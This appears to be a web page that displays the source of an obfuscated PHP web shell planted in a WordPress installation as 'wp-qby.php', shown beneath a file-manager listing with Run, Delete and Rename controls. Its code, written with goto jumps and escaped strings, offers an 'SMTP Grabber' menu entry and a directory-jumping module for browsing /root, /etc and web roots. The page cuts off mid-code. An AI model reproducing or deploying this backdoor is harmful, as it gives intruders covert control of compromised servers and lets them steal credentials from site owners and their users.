at path:
ROOT
/
wp-qby.php
run:
R
W
Run
8cb9b8
DIR
2026-10-09 15:13:27
R
W
Run
db0c9f
DIR
2026-11-05 11:53:49
R
W
Run
wp-content
DIR
2026-10-29 02:33:12
R
W
Run
wp-includes
DIR
2026-10-28 05:46:05
R
W
Run
chosen.php
122.65 KB
2026-11-05 07:12:07
R
W
Run
Delete
Rename
mah.php
0 By
2025-10-01 09:37:32
R
W
Run
simple.php
15.05 KB
2026-11-05 07:12:07
R
W
Run
Delete
Rename
wp-qby.php
1.06 MB
2026-10-28 08:19:01
R
W
Run
Delete
Rename
error_log
up
📄
wp-qby.php
Save
<?php goto Hp4iq; pZ5zq: ?> "><i class="fas fa-envelope-open"></i><span>SMTP Grabber</span></a> <a href="?action=editor" class="<?php goto hF6VW; OixE5: if (!function_exists("\146\x6f\x72\x6d\x61\164\123\x69\x7a\145")) { function formatSize($bytes) { if ($bytes === 0) { return "\x30\40\102"; } $units = array("\102", "\x4b\x42", "\x4d\102", "\107\102", "\x54\102"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 1) . "\40" . $units[$i]; } } goto sFquk; SAjdC: ?> <!-- ============================================================ --> <!-- ===== CRON ===== --> <!-- ============================================================ --> <?php goto MggHg; TrFAm: if (!function_exists("\x73\x61\x66\145\106\151\x6c\x65\x49\x6e\146\157")) { function safeFileInfo($path) { $info = array("\x73\151\x7a\145" => 0, "\160\145\x72\x6d" => "\55\55\55\55", "\x6f\x77\156\x65\x72" => "\55", "\x67\x72\x6f\x75\x70" => "\55", "\155\164\151\x6d\145" => "\x2d", "\x63\x74\x69\x6d\145" => "\55", "\x65\170\151\163\x74\x73" => false, "\151\x73\104\x69\162" => false, "\151\163\106\151\154\x65" => false, "\x69\163\x4c\x69\x6e\153" => false); if (file_exists($path)) { $info["\x65\170\151\x73\164\163"] = true; $info["\x69\x73\104\151\x72"] = is_dir($path); $info["\151\x73\x46\151\x6c\145"] = is_file($path); $info["\151\x73\x4c\151\x6e\153"] = is_link($path); $info["\x73\x69\172\145"] = $info["\151\163\x44\x69\x72"] ? 0 : @filesize($path); $info["\x70\145\162\x6d"] = @substr(sprintf("\45\x6f", @fileperms($path)), -4); if (function_exists("\160\x6f\163\x69\170\137\x67\x65\164\x70\167\165\x69\x64") && function_exists("\160\x6f\x73\x69\x78\x5f\147\145\164\147\162\x67\151\x64")) { $stat = @stat($path); if ($stat) { $owner = @posix_getpwuid($stat["\x75\x69\144"]); $group = @posix_getgrgid($stat["\x67\x69\144"]); $info["\157\x77\156\145\162"] = $owner["\156\141\x6d\x65"] ?? $stat["\x75\151\144"]; $info["\147\162\x6f\165\160"] = $group["\156\x61\155\145"] ?? $stat["\147\151\x64"]; } } else { $info["\157\167\x6e\x65\162"] = isWindows() ? "\123\131\123\x54\x45\x4d" : "\156\x2f\141"; $info["\x67\x72\157\165\160"] = isWindows() ? "\x53\x59\123\124\105\x4d" : "\156\57\x61"; } $info["\155\164\x69\x6d\145"] = @date("\x59\55\x6d\x2d\x64\x20\110\72\151\x3a\163", @filemtime($path)); $info["\x63\164\151\155\145"] = @date("\x59\x2d\x6d\x2d\144\x20\110\72\151\72\163", @filectime($path)); } return $info; } } goto SMB7Y; vfnUy: if ($action == "\152\x75\x6d\160\151\x6e\x67") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; --neon-kirmizi: #ff0044; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas-jumping { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.3; } .jumping-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== JUMPING CONTAINER ===== */ .jumping-container { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; padding: 10px 0; } /* ===== JUMPING CARDS ===== */ .jumping-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); position: relative; overflow: hidden; } .jumping-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .jumping-card:hover::before { opacity: 1; } .jumping-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } .jumping-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .jumping-card:hover::after { opacity: 1; } /* ===== CARD HEADER ===== */ .jumping-card .card-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .jumping-card .card-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulseJumping 3s ease-in-out infinite; } @keyframes iconPulseJumping { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .jumping-card .card-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .jumping-card .card-header .badge { margin-left: auto; font-size: 9px; padding: 2px 12px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); text-transform: uppercase; letter-spacing: 0.5px; } /* ===== CURRENT DIRECTORY ===== */ .current-dir { background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 8px; padding: 10px 12px; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; font-size: 12px; } .current-dir .label { color: rgba(180, 150, 255, 0.4); font-size: 10px; text-transform: uppercase; letter-spacing: 1px; } .current-dir .path { color: var(--neon-mor); font-family: monospace; flex: 1; word-break: break-all; } .current-dir .path .highlight { color: var(--neon-mavi); } .current-dir .btn-copy { background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); border-radius: 5px; padding: 4px 10px; color: rgba(180, 150, 255, 0.6); font-size: 10px; cursor: pointer; transition: all 0.3s ease; } .current-dir .btn-copy:hover { background: rgba(179, 0, 255, 0.2); border-color: rgba(179, 0, 255, 0.4); } /* ===== FORM ELEMENTS ===== */ .jumping-form { display: flex; flex-direction: column; gap: 10px; } .jumping-form .input-group { display: flex; gap: 8px; flex-wrap: wrap; } .jumping-form input, .jumping-form select, .jumping-form textarea { flex: 1; min-width: 100px; background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 8px; padding: 10px 12px; color: #d4bfff; font-size: 12px; transition: all 0.3s ease; } .jumping-form input:focus, .jumping-form select:focus { outline: none; border-color: rgba(179, 0, 255, 0.5); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); background: rgba(0, 0, 0, 0.7); } .jumping-form input::placeholder { color: rgba(180, 150, 255, 0.25); } .jumping-form select option { background: #1a0033; color: #d4bfff; } /* ===== NEON BUTTONS ===== */ .btn-neon-jumping { background: linear-gradient(135deg, rgba(179, 0, 255, 0.2), rgba(255, 0, 170, 0.1)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 20px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 0 15px rgba(179, 0, 255, 0.05); white-space: nowrap; position: relative; overflow: hidden; } .btn-neon-jumping:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.05); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); } .btn-neon-jumping:active { transform: scale(0.95); } .btn-neon-jumping.success { background: linear-gradient(135deg, rgba(0, 255, 136, 0.2), rgba(0, 212, 255, 0.1)); border-color: rgba(0, 255, 136, 0.3); } .btn-neon-jumping.success:hover { border-color: rgba(0, 255, 136, 0.6); box-shadow: 0 0 30px rgba(0, 255, 136, 0.15); } .btn-neon-jumping.primary { background: linear-gradient(135deg, rgba(0, 212, 255, 0.2), rgba(179, 0, 255, 0.1)); border-color: rgba(0, 212, 255, 0.3); } .btn-neon-jumping.primary:hover { border-color: rgba(0, 212, 255, 0.6); box-shadow: 0 0 30px rgba(0, 212, 255, 0.15); } .btn-neon-jumping.warning { background: linear-gradient(135deg, rgba(255, 215, 0, 0.2), rgba(255, 106, 0, 0.1)); border-color: rgba(255, 215, 0, 0.3); } .btn-neon-jumping.warning:hover { border-color: rgba(255, 215, 0, 0.6); box-shadow: 0 0 30px rgba(255, 215, 0, 0.15); } .btn-neon-jumping.danger { background: linear-gradient(135deg, rgba(255, 0, 68, 0.2), rgba(255, 0, 170, 0.1)); border-color: rgba(255, 0, 68, 0.3); } .btn-neon-jumping.danger:hover { border-color: rgba(255, 0, 68, 0.6); box-shadow: 0 0 30px rgba(255, 0, 68, 0.15); } .btn-neon-jumping.small { padding: 6px 14px; font-size: 10px; } .btn-group-jumping { display: flex; gap: 8px; flex-wrap: wrap; } /* ===== JUMPING OUTPUT ===== */ .jumping-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.08); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 350px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .jumping-output::before { content: '▼ TERMINAL OUTPUT'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 8px; letter-spacing: 2px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .jumping-output::-webkit-scrollbar { width: 4px; } .jumping-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .jumping-output::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.3); border-radius: 2px; } .jumping-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .jumping-output .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .jumping-output .output-line:last-child { border-bottom: none; } .jumping-output .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .jumping-output .output-line .error { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } .jumping-output .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .jumping-output .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .jumping-output .output-line .highlight { color: var(--neon-pembe); text-shadow: 0 0 10px rgba(255, 0, 170, 0.15); } .jumping-output .output-line .dim { color: rgba(180, 150, 255, 0.3); } .jumping-output .output-line .file { color: #d4bfff; } .jumping-output .output-line .dir { color: var(--neon-mavi); } /* ===== FAVORITE BUTTONS ===== */ .favorite-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(120px, 1fr)); gap: 6px; margin-top: 10px; } .favorite-btn { background: rgba(0, 0, 0, 0.4); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 6px; padding: 6px 10px; color: rgba(180, 150, 255, 0.6); font-size: 10px; cursor: pointer; transition: all 0.3s ease; text-align: center; font-family: monospace; } .favorite-btn:hover { background: rgba(179, 0, 255, 0.1); border-color: rgba(179, 0, 255, 0.3); color: #d4bfff; transform: translateY(-2px); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } .favorite-btn .icon { margin-right: 4px; } .favorite-btn .path-text { font-size: 9px; opacity: 0.7; } /* ===== TOGGLE SWITCH ===== */ .toggle-switch-jumping { position: relative; display: inline-block; width: 34px; height: 18px; margin: 0 8px; } .toggle-switch-jumping input { opacity: 0; width: 0; height: 0; } .toggle-slider-jumping { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(179, 0, 255, 0.1); transition: 0.3s; border-radius: 20px; border: 1px solid rgba(179, 0, 255, 0.2); } .toggle-slider-jumping:before { content: ""; position: absolute; height: 12px; width: 12px; left: 2px; bottom: 2px; background: rgba(180, 150, 255, 0.3); transition: 0.3s; border-radius: 50%; } .toggle-switch-jumping input:checked + .toggle-slider-jumping { background: rgba(179, 0, 255, 0.2); border-color: rgba(179, 0, 255, 0.4); } .toggle-switch-jumping input:checked + .toggle-slider-jumping:before { transform: translateX(16px); background: var(--neon-mor); box-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .toggle-label-jumping { color: rgba(180, 150, 255, 0.6); font-size: 10px; display: flex; align-items: center; gap: 4px; cursor: pointer; transition: color 0.3s ease; } .toggle-label-jumping:hover { color: rgba(180, 150, 255, 0.8); } /* ===== BREADCRUMB ===== */ .breadcrumb { display: flex; flex-wrap: wrap; gap: 4px; padding: 8px 0; margin-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .breadcrumb .crumb { color: rgba(180, 150, 255, 0.3); font-size: 10px; cursor: pointer; transition: all 0.3s ease; padding: 2px 6px; border-radius: 3px; } .breadcrumb .crumb:hover { color: var(--neon-mor); background: rgba(179, 0, 255, 0.05); } .breadcrumb .crumb.separator { color: rgba(180, 150, 255, 0.1); cursor: default; } .breadcrumb .crumb.current { color: var(--neon-mor); font-weight: 600; } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .jumping-container { grid-template-columns: 1fr; gap: 15px; } .jumping-card { padding: 15px; } .jumping-form .input-group { flex-direction: column; } .btn-neon-jumping { width: 100%; justify-content: center; } .jumping-card .card-header h4 { font-size: 11px; } .favorite-grid { grid-template-columns: repeat(auto-fill, minmax(90px, 1fr)); } } /* ===== ANIMATIONS ===== */ @keyframes pulseGlowJumping { 0%, 100% { box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } 50% { box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); } } .jumping-card { animation: pulseGlowJumping 3s ease-in-out infinite; } @keyframes slideInJumping { from { opacity: 0; transform: translateY(10px) scale(0.98); } to { opacity: 1; transform: translateY(0) scale(1); } } .jumping-output { animation: slideInJumping 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .jumping-card { animation: fadeInUp 0.5s ease forwards; } .jumping-card:nth-child(1) { animation-delay: 0.05s; } .jumping-card:nth-child(2) { animation-delay: 0.1s; } .jumping-card:nth-child(3) { animation-delay: 0.15s; } .jumping-card:nth-child(4) { animation-delay: 0.2s; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas-jumping"></canvas> <div class="jumping-wrapper"> <div class="jumping-container"> <!-- ============================================================ --> <!-- 1. JUMPING - HIZLI DİZİN GEÇİŞİ --> <!-- ============================================================ --> <div class="jumping-card"> <div class="card-header"> <i class="fas fa-rocket"></i> <h4>🚀 Jumping</h4> <span class="badge">Hızlı Geçiş</span> </div> <?php $current_dir = getcwd(); ?> <div class="current-dir"> <span class="label">📂 Mevcut:</span> <span class="path"><?php echo htmlspecialchars($current_dir); ?> </span> <button class="btn-copy" onclick="copyPath('<?php echo htmlspecialchars($current_dir); ?> ')"> <i class="fas fa-copy"></i> </button> </div> <div class="breadcrumb"> <?php $parts = explode("\57", str_replace("\x5c", "\x2f", $current_dir)); $path = ''; echo "\74\163\160\141\x6e\x20\x63\154\x61\x73\x73\75\42\x63\162\x75\x6d\x62\40\143\165\x72\x72\x65\156\x74\x22\76\360\x9f\223\201\74\57\x73\x70\x61\x6e\76"; foreach ($parts as $part) { if (empty($part)) { continue; } $path .= "\57" . $part; echo "\x3c\x73\160\x61\156\40\143\154\x61\x73\163\75\x22\x63\x72\165\155\x62\x20\x73\145\x70\x61\x72\x61\164\157\x72\42\76\xe2\200\272\74\57\163\x70\x61\x6e\x3e"; echo "\x3c\163\x70\x61\156\x20\143\x6c\141\163\x73\75\42\143\x72\x75\155\142\42\x20\157\x6e\143\154\151\x63\153\x3d\x22\x6a\x75\155\160\x54\157\50\47" . addslashes($path) . "\47\x29\x22\76" . $part . "\74\x2f\163\x70\141\x6e\76"; } ?> </div> <form method="POST" class="jumping-form"> <div class="input-group"> <input type="text" name="jump_dir" placeholder="Hedef dizin yolu" value="/var/www/html" id="jump_input"> <button type="submit" name="jump_action" value="jump" class="btn-neon-jumping success"> <i class="fas fa-arrow-right"></i> Git </button> </div> <div class="input-group"> <select name="jump_preset" id="jump_preset" style="max-width:200px;"> <option value="">📋 Hızlı Erişim</option> <option value="/var/www/html">🌐 /var/www/html</option> <option value="/home">🏠 /home</option> <option value="/tmp">📦 /tmp</option> <option value="/etc">⚙️ /etc</option> <option value="/root">🔒 /root</option> <option value="/usr/local">📁 /usr/local</option> <option value="/var/log">📊 /var/log</option> <option value="/opt">📁 /opt</option> <option value="<?php echo getcwd(); ?> ">📍 Mevcut</option> </select> <button type="button" class="btn-neon-jumping small primary" onclick="document.querySelector('input[name=jump_dir]').value = '<?php echo getcwd(); ?> '"> <i class="fas fa-sync"></i> Mevcut </button> <button type="button" class="btn-neon-jumping small primary" onclick="document.querySelector('input[name=jump_dir]').value = '/var/www/html'"> <i class="fas fa-globe"></i> WWW </button> </div> <div class="input-group"> <label class="toggle-label-jumping"> <span class="toggle-switch-jumping"> <input type="checkbox" name="jump_ls" value="1" checked> <span class="toggle-slider-jumping"></span> </span> <i class="fas fa-list"></i> Listele </label> <label class="toggle-label-jumping"> <span class="toggle-switch-jumping"> <input type="checkbox" name="jump_ll" value="1"> <span class="toggle-slider-jumping"></span> </span> <i class="fas fa-list-ul"></i> Detaylı </label> <label class="toggle-label-jumping"> <span class="toggle-switch-jumping"> <input type="checkbox" name="jump_hidden" value="1"> <span class="toggle-slider-jumping"></span> </span> <i class="fas fa-eye-slash"></i> Gizli </label> </div> </form> <?php if (isset($_POST["\152\x75\155\160\137\x61\143\x74\151\x6f\156"]) && $_POST["\x6a\165\155\160\x5f\141\x63\x74\x69\157\x6e"] == "\152\165\x6d\x70") { $target = $_POST["\x6a\x75\155\160\x5f\x64\x69\162"]; $show_ls = isset($_POST["\152\165\x6d\x70\x5f\x6c\163"]); $show_hidden = isset($_POST["\152\165\x6d\160\137\x68\151\x64\x64\145\156"]); if (is_dir($target)) { chdir($target); $new_dir = getcwd(); ?> <div class="jumping-output"> <div class="output-line"><span class="success">✅ Dizin değiştirildi</span></div> <div class="output-line"><span class="dim">📂 <?php echo htmlspecialchars($new_dir); ?> </span></div> <?php if ($show_ls) { $files = scandir($new_dir); if (!$show_hidden) { $files = array_filter($files, function ($f) { return $f[0] !== "\x2e"; }); } ?> <div style="border-top:1px solid rgba(179,0,255,0.05);margin-top:5px;padding-top:5px;"></div> <?php $dirs = array(); $file_items = array(); foreach ($files as $file) { if ($file == "\56" || $file == "\x2e\x2e") { continue; } $full_path = $new_dir . "\x2f" . $file; if (is_dir($full_path)) { $dirs[] = $file; } else { $file_items[] = $file; } } sort($dirs); sort($file_items); $all_items = array_merge($dirs, $file_items); foreach ($all_items as $file) { $full_path = $new_dir . "\57" . $file; $is_dir = is_dir($full_path); $icon = $is_dir ? "\xf0\237\223\x81" : "\360\237\223\204"; $class = $is_dir ? "\x64\151\162" : "\x66\151\x6c\x65"; $size = ''; if (!$is_dir && file_exists($full_path)) { $size = @filesize($full_path); if ($size !== false) { $size = "\x20" . formatSize($size); } else { $size = "\x20\x3f\40\102"; } } ?> <div class="output-line"> <span class="<?php echo $class; ?> "><?php echo $icon; ?> <?php echo htmlspecialchars($file); ?> </span> <span class="dim"><?php echo $size; ?> </span> </div> <?php } ?> <?php } ?> </div> <?php } else { ?> <div class="jumping-output"> <div class="output-line"><span class="error">❌ Dizin bulunamadı: <?php echo htmlspecialchars($target); ?> </span></div> </div> <?php } ?> <?php } ?> </div> <!-- ============================================================ --> <!-- 2. SIK KULLANILANLAR --> <!-- ============================================================ --> <div class="jumping-card"> <div class="card-header"> <i class="fas fa-star"></i> <h4>⭐ Sık Kullanılanlar</h4> <span class="badge">Favoriler</span> </div> <form method="POST" class="jumping-form"> <div class="input-group"> <input type="text" name="favorite_name" placeholder="Kısayol adı" value=""> <input type="text" name="favorite_path" placeholder="Dizin yolu" value="<?php echo getcwd(); ?> "> <button type="submit" name="jump_action" value="add_favorite" class="btn-neon-jumping warning small"> <i class="fas fa-plus"></i> Ekle </button> </div> </form> <div class="favorite-grid"> <?php $favorites = array(array("\x6e\141\155\x65" => "\360\x9f\214\220\40\x57\127\127", "\x70\141\x74\150" => "\57\x76\x61\162\x2f\x77\167\167\x2f\150\164\x6d\154"), array("\156\x61\x6d\x65" => "\360\x9f\217\xa0\x20\110\x6f\x6d\145", "\160\141\164\x68" => "\x2f\150\x6f\155\x65"), array("\156\141\155\x65" => "\360\237\x93\246\x20\124\145\155\160", "\x70\x61\x74\x68" => "\x2f\x74\155\x70"), array("\156\x61\155\x65" => "\xe2\232\231\357\xb8\x8f\x20\x45\164\x63", "\160\x61\x74\150" => "\57\x65\x74\x63"), array("\x6e\141\155\145" => "\xf0\x9f\224\x92\40\122\157\157\164", "\160\141\x74\x68" => "\57\x72\x6f\157\164"), array("\156\141\x6d\145" => "\360\237\223\212\40\114\x6f\x67\163", "\x70\x61\164\150" => "\x2f\166\x61\162\x2f\154\x6f\147"), array("\156\x61\155\145" => "\360\x9f\x93\201\x20\x4f\x70\164", "\160\x61\x74\x68" => "\57\x6f\160\x74"), array("\156\x61\x6d\145" => "\360\x9f\223\x8d\40\103\127\x44", "\160\141\x74\x68" => getcwd())); if (isset($_SESSION["\146\x61\x76\157\162\x69\x74\145\163"]) && is_array($_SESSION["\x66\x61\x76\x6f\x72\x69\x74\145\163"])) { $favorites = array_merge($favorites, $_SESSION["\146\141\166\157\162\x69\x74\145\x73"]); } if (isset($_POST["\x6a\x75\x6d\x70\137\x61\x63\x74\x69\x6f\x6e"]) && $_POST["\x6a\165\x6d\x70\137\x61\x63\164\151\157\x6e"] == "\x61\x64\144\x5f\146\x61\x76\157\x72\x69\164\x65") { $name = $_POST["\146\141\166\x6f\162\x69\164\145\137\x6e\141\155\145"] ?: basename($_POST["\146\x61\166\x6f\x72\151\x74\x65\137\160\141\x74\150"]); $path = $_POST["\x66\141\166\157\162\x69\164\x65\137\160\141\164\150"]; if (is_dir($path)) { if (!isset($_SESSION["\146\x61\166\x6f\x72\x69\x74\145\163"])) { $_SESSION["\146\x61\x76\x6f\x72\x69\x74\x65\x73"] = array(); } $_SESSION["\x66\141\166\x6f\x72\151\164\x65\x73"][] = array("\x6e\141\155\x65" => $name, "\x70\x61\164\150" => $path); echo "\x3c\x64\151\x76\x20\x63\154\141\163\163\75\42\152\x75\x6d\x70\x69\156\147\55\x6f\165\x74\160\165\x74\42\40\163\164\x79\154\145\75\x22\155\x61\x72\147\151\156\55\x74\157\160\72\x35\160\170\73\x22\x3e"; echo "\74\x64\x69\x76\40\x63\154\x61\163\163\75\x22\x6f\165\164\x70\165\164\x2d\154\151\x6e\145\x22\x3e\74\163\x70\141\156\40\143\x6c\x61\163\x73\x3d\42\163\x75\x63\143\145\163\x73\42\x3e\xe2\234\205\40\x46\141\x76\157\x72\x69\40\x65\153\154\x65\156\144\x69\72\x20" . htmlspecialchars($name) . "\74\x2f\163\160\x61\x6e\76\x3c\x2f\x64\x69\x76\76"; echo "\x3c\57\x64\x69\x76\x3e"; echo "\74\x6d\145\164\141\x20\x68\164\x74\160\55\145\161\x75\151\166\x3d\x22\162\x65\x66\162\x65\163\x68\x22\40\x63\157\x6e\164\x65\x6e\x74\75\x22\61\42\x3e"; } else { echo "\74\x64\x69\x76\40\143\x6c\x61\x73\x73\75\x22\x6a\165\x6d\x70\x69\x6e\147\x2d\157\x75\x74\x70\x75\x74\42\40\163\x74\x79\154\145\75\x22\x6d\x61\x72\147\x69\156\55\x74\x6f\160\x3a\x35\x70\170\x3b\x22\x3e"; echo "\x3c\x64\151\x76\x20\143\154\141\x73\x73\x3d\x22\x6f\165\x74\x70\165\164\x2d\x6c\151\156\145\42\76\x3c\163\x70\141\x6e\x20\x63\x6c\x61\163\163\x3d\42\145\162\162\157\162\x22\76\xe2\x9d\214\x20\107\145\xc3\xa7\145\x72\x73\x69\172\x20\x64\x69\x7a\x69\x6e\41\x3c\57\x73\160\141\x6e\76\x3c\57\144\151\166\76"; echo "\x3c\57\144\151\x76\x3e"; } } if (isset($_GET["\x72\145\x6d\x6f\x76\x65\x5f\146\141\x76\x6f\162\151\164\x65"]) && isset($_SESSION["\146\x61\166\157\x72\151\164\x65\x73"][$_GET["\x72\145\155\157\x76\x65\x5f\146\141\166\157\162\x69\164\145"]])) { unset($_SESSION["\x66\141\x76\157\x72\x69\x74\x65\x73"][$_GET["\x72\x65\155\157\166\x65\137\x66\x61\166\x6f\x72\151\164\x65"]]); $_SESSION["\146\141\166\x6f\162\151\164\x65\x73"] = array_values($_SESSION["\x66\x61\166\157\162\151\164\x65\x73"]); echo "\x3c\x6d\x65\164\x61\40\x68\164\164\160\55\x65\x71\x75\x69\x76\75\x22\162\x65\146\162\145\163\150\x22\40\143\x6f\x6e\x74\x65\x6e\164\75\42\60\42\76"; } foreach ($favorites as $index => $fav) { $name = $fav["\x6e\x61\155\x65"] ?? basename($fav["\x70\141\x74\x68"]); $path = $fav["\160\141\164\x68"]; ?> <div class="favorite-btn" onclick="jumpTo('<?php echo addslashes($path); ?> ')" title="<?php echo htmlspecialchars($path); ?> "> <span class="icon"><?php echo $name; ?> </span> <br><span class="path-text"><?php echo htmlspecialchars(basename($path)); ?> </span> <?php if ($index >= 7) { ?> <a href="?action=jumping&remove_favorite=<?php echo $index; ?> " style="color:rgba(255,0,68,0.3);font-size:8px;text-decoration:none;">✕</a> <?php } ?> </div> <?php } ?> </div> </div> <!-- ============================================================ --> <!-- 3. DİZİN GEZİNTİSİ (BROWSER) --> <!-- ============================================================ --> <div class="jumping-card"> <div class="card-header"> <i class="fas fa-folder-tree"></i> <h4>📂 Dizin Gezintisi</h4> <span class="badge">Browser</span> </div> <form method="POST" class="jumping-form"> <div class="input-group"> <input type="text" name="browser_dir" placeholder="Dizin yolu" value="<?php echo getcwd(); ?> "> <button type="submit" name="jump_action" value="browse" class="btn-neon-jumping primary"> <i class="fas fa-search"></i> Tara </button> </div> <div class="input-group"> <input type="text" name="browser_filter" placeholder="Filtre (örn: *.php)" value=""> <select name="browser_sort" style="max-width:120px;"> <option value="name">İsim</option> <option value="size">Boyut</option> <option value="date">Tarih</option> <option value="type">Tür</option> </select> <label class="toggle-label-jumping"> <span class="toggle-switch-jumping"> <input type="checkbox" name="browser_hidden" value="1"> <span class="toggle-slider-jumping"></span> </span> <i class="fas fa-eye-slash"></i> Gizli </label> </div> </form> <?php if (isset($_POST["\152\165\155\x70\137\x61\x63\164\151\157\156"]) && $_POST["\x6a\165\x6d\x70\x5f\141\x63\x74\x69\157\x6e"] == "\142\x72\157\x77\x73\145") { $browser_dir = rtrim($_POST["\142\162\x6f\x77\163\145\x72\x5f\144\151\x72"], "\x2f"); $browser_filter = $_POST["\142\x72\x6f\x77\163\x65\x72\x5f\x66\x69\154\x74\x65\x72"] ?? ''; $browser_sort = $_POST["\142\x72\157\167\163\145\x72\137\x73\x6f\162\164"] ?? "\x6e\x61\x6d\145"; $browser_hidden = isset($_POST["\142\162\x6f\x77\163\145\162\137\150\x69\x64\144\x65\x6e"]); if (is_dir($browser_dir)) { $items = scandir($browser_dir); $dirs = array(); $files = array(); foreach ($items as $item) { if (!$browser_hidden && $item[0] === "\x2e") { continue; } if ($item === "\x2e" || $item === "\x2e\56") { continue; } $full_path = $browser_dir . "\57" . $item; if (is_dir($full_path)) { $dirs[] = $item; } else { if ($browser_filter) { $pattern = "\57\136" . str_replace(array("\x2e", "\x2a"), array("\134\x2e", "\56\x2a"), $browser_filter) . "\44\x2f"; if (!preg_match($pattern, $item)) { continue; } } $files[] = $item; } } if ($browser_sort == "\163\151\172\x65") { usort($files, function ($a, $b) use($browser_dir) { $size_a = @filesize($browser_dir . "\57" . $a); $size_b = @filesize($browser_dir . "\x2f" . $b); if ($size_a === false) { $size_a = 0; } if ($size_b === false) { $size_b = 0; } return $size_a - $size_b; }); } elseif ($browser_sort == "\144\x61\164\x65") { usort($files, function ($a, $b) use($browser_dir) { $date_a = @filemtime($browser_dir . "\x2f" . $a); $date_b = @filemtime($browser_dir . "\57" . $b); if ($date_a === false) { $date_a = 0; } if ($date_b === false) { $date_b = 0; } return $date_a - $date_b; }); } else { sort($dirs); sort($files); } echo "\x3c\x64\151\166\x20\143\x6c\x61\x73\x73\x3d\x22\x6a\165\x6d\x70\x69\156\x67\x2d\157\165\x74\160\x75\164\x22\76"; echo 